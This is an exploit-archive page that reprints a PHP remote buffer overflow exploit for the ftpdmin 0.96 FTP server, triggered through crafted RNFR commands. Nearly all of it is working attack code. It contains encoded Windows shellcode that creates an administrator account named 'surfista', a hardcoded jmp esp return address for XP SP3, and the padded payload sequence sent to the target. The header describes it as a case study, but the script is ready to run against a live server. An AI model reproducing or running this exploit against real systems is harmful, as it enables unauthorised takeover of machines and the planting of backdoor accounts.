Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:21628
HistoryApr 12, 2009 - 12:00 a.m.

ftpdmin v. 0.96 RNFR remote buffer overflow exploit

2009-04-1200:00:00
vulners.com
68

<?php
/*
ftpdmin v. 0.96 RNFR remote buffer overflow exploit (xp sp3 / case study)
by Nine:Situations:Group::surfista
software site: http://www.sentex.net/~mwandel/ftpdmin/
our site: http://retrogod.altervista.org/

bug found by rgod in 2006, RNFR sequences can trigger a simple eip overwrite.
We can use 272 bytes before EIP and 119 after EIP, ESP and EBP points to
the second memory region.
We have a very small set of chars that we can use ,RNFR (Rename From) command
accept pathnames as argument, so characters whose integer representations are
in the range from zero through 31 and reserved chars are not allowed!
*/

error_reporting(7);
$ftp_server = "192.168.0.1";
$ftp_user = "anonymous";
$ftp_pass = "[email protected]";

function ftp_cmd($cmd){
global $conn_id;
echo "-> ".$cmd."\n";
$buff=ftp_raw($conn_id,$cmd);
}

            #WinExec shellcode of mine, enconded with the alpha2 tool by SkyLined, adds
            #a &quot;surfista&quot; admin user with pass &quot;pass&quot;
            #contains hardcoded address, re-encode command:
            #alpha2 esp &lt; shdmp.txt
            $____scode=&quot;TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI&quot;.
                       &quot;Xkb3SkfQkpBp4qo0nhBcaZPSMknMq3mValkOYCtqYPYxxhKO9okOe3BMrD5pTocS5&quot;.
                       &quot;prnReqDWPCev32e1BWPt3sEQbRFE9T3PtqqWPRPSQPsBSUpTosqctRdWPGVa6epPN&quot;.
                       &quot;w5F4EpRlRossG1PLw7brpOrupP5paQ1tPmaypnSYbSPtd2Pa44BOT2T3UpfOw1qTw&quot;.
                       &quot;4gPqcpupr3VQybSrTE1kOA&quot;;      
            #do not touch, esp adjustment and subsequent call esp, very large but we have lots of unused space
            $____code =&quot;TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI&quot;.
                       &quot;NcXl1oK3JLsOOs8lSOMSXlQoK3zL14KOm4F22EbSrOpusBSSsUGPpipdUpesVVA&quot;;
            if &#40;strlen&#40;$____scode&#41; &gt; 272&#41; {die&#40;&quot;[!] shellcode too large!&quot;&#41;;}
            $conn_id = ftp_connect&#40;$ftp_server&#41; or die&#40;&quot;&#40;!&#41; Unable to connect to $ftp_server&quot;&#41;;
            if &#40;@ftp_login&#40;$conn_id, $ftp_user, $ftp_pass&#41;&#41; {
                echo &quot;&#40;*&#41; Connected as $ftp_user@$ftp_server&#92;n&quot;;
            } else {
                die&#40;&quot;&#40;!&#41; Unable to connect as $ftp_user&#92;n&quot;&#41;;
            }
            $____jnk = str_repeat&#40;&quot;&#92;x66&quot;,272 - strlen&#40;$____scode&#41;&#41;;
            $____eip=&quot;&#92;x44&#92;x3a&#92;x41&#92;x7e&quot;;     //0x7E413A44      jmp esp, user32.dll xp sp3
            $____jnk_ii = str_repeat&#40;&quot;&#92;x66&quot;,119 - strlen&#40;$____code&#41;&#41;;
            $____bof=$____scode.$____jnk.$____eip.$____code.$____jnk_ii;
            $____boom=&quot;RNFR &quot;.str_repeat&#40;&quot;x&quot;,0x0096&#41;;
            ftp_cmd&#40;$____boom&#41;;
            $____boom=&quot;RNFR &quot;.$____bof;
            ftp_cmd&#40;$____boom&#41;;
            $____boom=&quot;RNFR &quot;.str_repeat&#40;&quot;x&quot;,0x0208&#41;;
            ftp_cmd&#40;$____boom&#41;;
            ftp_close&#40;$conn_id&#41;;
            echo &quot;&#40;*&#41; Done !&#92;n&quot;;

?>

url: http://retrogod.altervista.org/9sg_ftpdmin_096_rnfr_bof.html